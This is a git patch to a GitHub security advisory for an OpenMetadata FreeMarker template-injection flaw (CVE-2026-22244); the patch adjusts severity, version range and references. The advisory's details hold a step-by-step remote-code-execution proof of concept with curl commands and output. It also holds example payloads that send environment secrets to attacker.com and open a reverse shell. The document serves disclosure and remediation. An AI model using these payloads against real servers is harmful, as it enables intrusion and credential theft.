From 790108891cfe470dad09a3030e7459b2f83dbaf7 Mon Sep 17 00:00:00 2001 From: Bader <127010643+sealbenb@users.noreply.github.com> Date: Thu, 25 Jun 2026 19:26:57 +0300 Subject: [PATCH] Improve GHSA-5f29-2333-h9c7 --- .../GHSA-5f29-2333-h9c7.json | 20 +++++++++++-------- 1 file changed, 12 insertions(+), 8 deletions(-) diff --git a/advisories/github-reviewed/2026/01/GHSA-5f29-2333-h9c7/GHSA-5f29-2333-h9c7.json b/advisories/github-reviewed/2026/01/GHSA-5f29-2333-h9c7/GHSA-5f29-2333-h9c7.json index 172f01d10c3e3..15a59e9207aa5 100644 --- a/advisories/github-reviewed/2026/01/GHSA-5f29-2333-h9c7/GHSA-5f29-2333-h9c7.json +++ b/advisories/github-reviewed/2026/01/GHSA-5f29-2333-h9c7/GHSA-5f29-2333-h9c7.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-5f29-2333-h9c7", - "modified": "2026-01-20T18:02:42Z", + "modified": "2026-01-20T18:02:43Z", "published": "2026-01-07T19:33:03Z", "aliases": [ "CVE-2026-22244" @@ -9,13 +9,9 @@ "summary": "OpenMetadata's Server-Side Template Injection (SSTI) in FreeMarker email templates leads to RCE", "details": "# OpenMetadata RCE Vulnerability - Proof of Concept\n\n## Executive Summary\n\n**CRITICAL Remote Code Execution vulnerability** confirmed in OpenMetadata v1.11.2 via **Server-Side Template Injection (SSTI)** in FreeMarker email templates.\n\n## Credit\n- @lnlinh31, @satthusaosan, @TheMacCuoi, @get-wright, @Ohnooo1234, @hienduc14 – FPT Cloud AppSec Research Team, FPT Smart Cloud\n\n## Vulnerability Details\n\n### 1. Root Cause\n\nFile: `openmetadata-service/src/main/java/org/openmetadata/service/util/DefaultTemplateProvider.java`\n\n**Lines 35-45** contain unsafe FreeMarker template instantiation:\n\n```java\npublic Template getTemplate(String templateName) throws IOException {\n EmailTemplate emailTemplate = documentRepository.fetchEmailTemplateByName(templateName);\n String template = emailTemplate.getTemplate(); // ← USER-CONTROLLED CONTENT FROM DATABASE\n \n if (nullOrEmpty(template)) {\n throw new IOException(\"Template content not found for template: \" + templateName);\n }\n \n return new Template(\n templateName, \n new StringReader(template), // ← RENDERS UNTRUSTED TEMPLATE\n new Configuration(Configuration.VERSION_2_3_31)); // ← UNSAFE: NO SECURITY RESTRICTIONS!\n}\n```\n\n**Missing Security Controls**:\n- ❌ No `setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER)` - Allows arbitrary class instantiation\n- ❌ No `setAPIBuiltinEnabled(false)` - Enables `?api` built-in for reflection\n- ❌ No input validation - Template content not sanitized\n\n### 2. Attack Vector (VERIFIED)\n\n**Step 1**: Attacker with Admin role modifies EmailTemplate via PATCH endpoint\n\n```bash\nPATCH /api/v1/docStore/{templateId}\nAuthorization: Bearer \nContent-Type: application/json-patch+json\n\n[\n {\n \"op\": \"replace\",\n \"path\": \"/data/template\",\n \"value\": \"<#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()>

RCE: ${ ex(\\\"whoami\\\") }

\"\n }\n]\n```\n\n**Step 2**: Malicious template stored in MySQL database:\n\n```sql\nSELECT name, JSON_EXTRACT(json, '$.data.template') \nFROM docstore \nWHERE name = 'account-activity-change';\n\n-- Returns: <#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()>...\n```\n\n**Step 3**: Trigger template rendering via email notification:\n- Password change\n- User invitation\n- Account activity notification\n- Test email (if SMTP configured)\n\n**Step 4**: RCE execution in `DefaultTemplateProvider.getTemplate()`:\n\n```java\nTemplate template = templateProvider.getTemplate(\"account-activity-change\");\ntemplate.process(model, stringWriter); // ← COMMAND EXECUTES HERE AS SERVER USER!\n```\n\n---\n\n## Exploit Verification\n\n### Environment\n\n- **Version**: OpenMetadata 1.11.2 (Latest)\n- **Platform**: Docker Compose (MySQL 8.0 + Elasticsearch 8.11.4)\n- **Test Date**: December 15, 2025\n\n### Step-by-Step Reproduction\n\n#### 1. Deploy OpenMetadata 1.11.2\n\n```bash\ncd docker\n./run_local_docker.sh -m no-ui -d mysql\n```\n\n**Result**: ✅ OpenMetadata running on localhost:8585\n\n#### 2. Obtain Admin JWT Token\n\n```bash\nexport NO_PROXY=localhost,127.0.0.1\nTOKEN=$(curl -s -X POST http://localhost:8585/api/v1/users/login \\\n -H \"Content-Type: application/json\" \\\n -d '{\"email\":\"admin@open-metadata.org\",\"password\":\"YWRtaW4=\"}' \\\n | grep -o '\"accessToken\":\"[^\"]*' | cut -d'\"' -f4)\n\necho \"Token: ${TOKEN:0:50}...\"\n```\n\n**Result**: ✅ Token obtained (654 characters, 1-hour expiry)\n\n#### 3. Identify Target Template\n\n```bash\n# Get testMail template ID (used by test email endpoint)\ncurl -s \"http://localhost:8585/api/v1/docStore?entityType=EmailTemplate\" \\\n -H \"Authorization: Bearer $TOKEN\" \\\n | jq -r '.data[] | select(.name==\"testMail\") | .id'\n```\n\n**Result**: ✅ Template ID: `855f58c6-1b80-467a-b92e-71c425e9bfdb`\n\n#### 4. Inject RCE Payload\n\n```bash\ncurl -X PATCH \"http://localhost:8585/api/v1/docStore/855f58c6-1b80-467a-b92e-71c425e9bfdb\" \\\n -H \"Content-Type: application/json-patch+json\" \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -d '[{\n \"op\": \"replace\",\n \"path\": \"/data/template\",\n \"value\": \"<#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()>RCE OUTPUT: ${ex(\\\"whoami\\\")} - ${ex(\\\"pwd\\\")}\"\n }]'\n```\n\n**Result**: ✅ **HTTP 200 OK** - Template modified successfully\n\n**Response Excerpt**:\n```json\n{\n \"id\": \"855f58c6-1b80-467a-b92e-71c425e9bfdb\",\n \"name\": \"testMail\",\n \"entityType\": \"EmailTemplate\",\n \"data\": {\n \"template\": \"<#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()>RCE OUTPUT: ${ex(\\\"whoami\\\")} - ${ex(\\\"pwd\\\")}\"\n },\n \"changeDescription\": {\n \"fieldsUpdated\": [\n {\n \"name\": \"data\",\n \"oldValue\": \"{\\\"template\\\":\\\"RCE OUTPUT: ${ex(\\\\\\\"whoami\\\\\\\")} - ${ex(\\\\\\\"pwd\\\\\\\")}\\\"}\"\n }\n ]\n }\n}\n```\n\n#### 5. Setup SMTP Server\n\n```bash\n# Start MailDev SMTP server (catches emails for verification)\ndocker run -d --name fakesmtp \\\n --network linhln31_default \\\n -p 1025:1025 -p 1080:1080 \\\n maildev/maildev:latest\n\n# Update OpenMetadata SMTP configuration\ndocker exec om_mysql mysql -uopenmetadata_user -popenmetadata_password \\\n -Dopenmetadata_db -e \"UPDATE openmetadata_settings \n SET json=JSON_SET(json, \n '$.serverEndpoint', 'fakesmtp', \n '$.serverPort', 1025, \n '$.transportationStrategy', 'SMTP',\n '$.enableSmtpServer', true,\n '$.senderMail', 'noreply@openmetadata.org'\n ) \n WHERE configType='emailConfiguration';\"\n\n# Restart OpenMetadata to load new SMTP config\ndocker restart om_server\nsleep 50 # Wait for server startup\n```\n\n**Result**: ✅ SMTP server ready at fakesmtp:1025\n\n#### 6. Trigger RCE Execution\n\n```bash\ncurl -X PUT \"http://localhost:8585/api/v1/system/email/test\" \\\n -H \"Content-Type: application/json\" \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -d '{\"email\":\"test@test.com\"}'\n```\n\n**Result**: ✅ **HTTP 200 OK** - \"Test Email Sent Successfully.\"\n\n#### 7. Verify RCE Execution\n\n```bash\n# Check email content in MailDev\ndocker exec fakesmtp cat /tmp/maildev-1/*.eml | tail -10\n```\n\n**Result**: ✅ **RCE CONFIRMED!**\n\n**Email Content**:\n```\nDate: Mon, 15 Dec 2025 17:03:20 +0000 (GMT)\nFrom: noreply@openmetadata.org\nTo: test@test.com\nMessage-ID: <1307498173.2.1765818200564@62a9f8b5b6f2>\nSubject: OpenMetadata : Test Email\nMIME-Version: 1.0\nContent-Type: text/html; charset=\"UTF-8\"\nContent-Transfer-Encoding: quoted-printable\n\nRCE OUTPUT: openmetadata\n - /opt/openmetadata\n```\n\n**Command Execution Proof**:\n- ✅ `whoami` command executed → returned `openmetadata`\n- ✅ `pwd` command executed → returned `/opt/openmetadata`\n- ✅ Commands ran as server process user\n- ✅ Full arbitrary command execution achieved\n\n---\n\n## Attack Scenarios\n\n### Scenario 1: Privilege Escalation\n\n1. Attacker compromises Admin account (phishing, credential stuffing, etc.)\n2. Injects RCE payload into `password-reset` template\n3. Triggers password reset for target user\n4. RCE executes as OpenMetadata server user during email rendering\n5. Attacker gains shell access to application server\n\n### Scenario 2: Data Exfiltration\n\n```freemarker\n<#assign ex=\"freemarker.template.utility.Execute\"?new()>\n${ex(\"cat /proc/self/environ | curl -X POST https://attacker.com/exfil -d @-\")}\n```\n\nExfiltrates environment variables containing:\n- Database credentials\n- API keys and secrets\n- JWT signing keys\n- Cloud provider credentials\n\n### Scenario 3: Reverse Shell\n\n```freemarker\n<#assign ex=\"freemarker.template.utility.Execute\"?new()>\n${ex(\"bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'\")}\n```\n\nEstablishes persistent access for:\n- Interactive command execution\n- Lateral movement to connected systems\n- Database direct access\n- Kubernetes cluster compromise (if containerized)\n\n---\n\n## Impact Assessment\n\n### Technical Impact\n\n- **Confidentiality**: **HIGH** - Access to database credentials, API keys, secrets\n- **Integrity**: **HIGH** - Full control over OpenMetadata application and data\n- **Availability**: **HIGH** - Ability to crash application, delete data, deny service\n\n### Business Impact\n\n- **Data Breach**: Access to all metadata including sensitive schema information, PII mappings, data lineage\n- **Compliance**: GDPR, SOC2, HIPAA violations if exploited\n- **Reputation**: Critical security failure in data governance platform\n- **Supply Chain**: Potential pivot to connected data sources (70+ connectors)\n\n### CVSS 3.1 Score\n\n```\nCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H\n```\n\n- **Attack Vector (AV)**: Network (N)\n- **Attack Complexity (AC)**: Low (L) - Simple API requests\n- **Privileges Required (PR)**: High (H) - Admin role required\n- **User Interaction (UI)**: None (N)\n- **Scope (S)**: Changed (C) - Impacts beyond application (server OS)\n- **Confidentiality (C)**: High (H)\n- **Integrity (I)**: High (H)\n- **Availability (A)**: High (H)\n\n**Score**: **9.1 (CRITICAL)**\n\n---\n\n## Remediation\n\n### Immediate Fix (CRITICAL)\n\n**File**: `openmetadata-service/src/main/java/org/openmetadata/service/util/DefaultTemplateProvider.java`\n\n**Replace lines 38-42 with:**\n\n```java\npublic Template getTemplate(String templateName) throws IOException {\n EmailTemplate emailTemplate = documentRepository.fetchEmailTemplateByName(templateName);\n String template = emailTemplate.getTemplate();\n \n if (nullOrEmpty(template)) {\n throw new IOException(\"Template content not found for template: \" + templateName);\n }\n \n // SECURITY FIX: Create sandboxed FreeMarker configuration\n Configuration cfg = new Configuration(Configuration.VERSION_2_3_31);\n \n // Block dangerous built-ins\n cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);\n cfg.setAPIBuiltinEnabled(false);\n cfg.setClassicCompatible(false);\n \n // Restrict template loading\n cfg.setTemplateLoader(new StringTemplateLoader());\n \n return new Template(templateName, new StringReader(template), cfg);\n}\n```\n---", "severity": [ - { - "type": "CVSS_V3", - "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H" - }, { "type": "CVSS_V4", - "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P" + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H" } ], "affected": [ @@ -29,7 +25,7 @@ "type": "ECOSYSTEM", "events": [ { - "introduced": "0" + "introduced": "1.5.0" }, { "fixed": "1.11.4" @@ -48,10 +44,18 @@ "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22244" }, + { + "type": "WEB", + "url": "https://github.com/open-metadata/OpenMetadata/commit/47af46578ab01196391d034582b2e928ce553f01" + }, { "type": "WEB", "url": "https://github.com/open-metadata/OpenMetadata/commit/bffe7c45807763f9b682021d4211c478d2a08bb3" }, + { + "type": "WEB", + "url": "https://github.com/open-metadata/OpenMetadata/commit/d17d13cee87db139e5d8f778547174f8ee341108" + }, { "type": "PACKAGE", "url": "https://github.com/open-metadata/OpenMetadata" @@ -61,7 +65,7 @@ "cwe_ids": [ "CWE-1336" ], - "severity": "HIGH", + "severity": "CRITICAL", "github_reviewed": true, "github_reviewed_at": "2026-01-07T19:33:03Z", "nvd_published_at": "2026-01-08T16:16:02Z"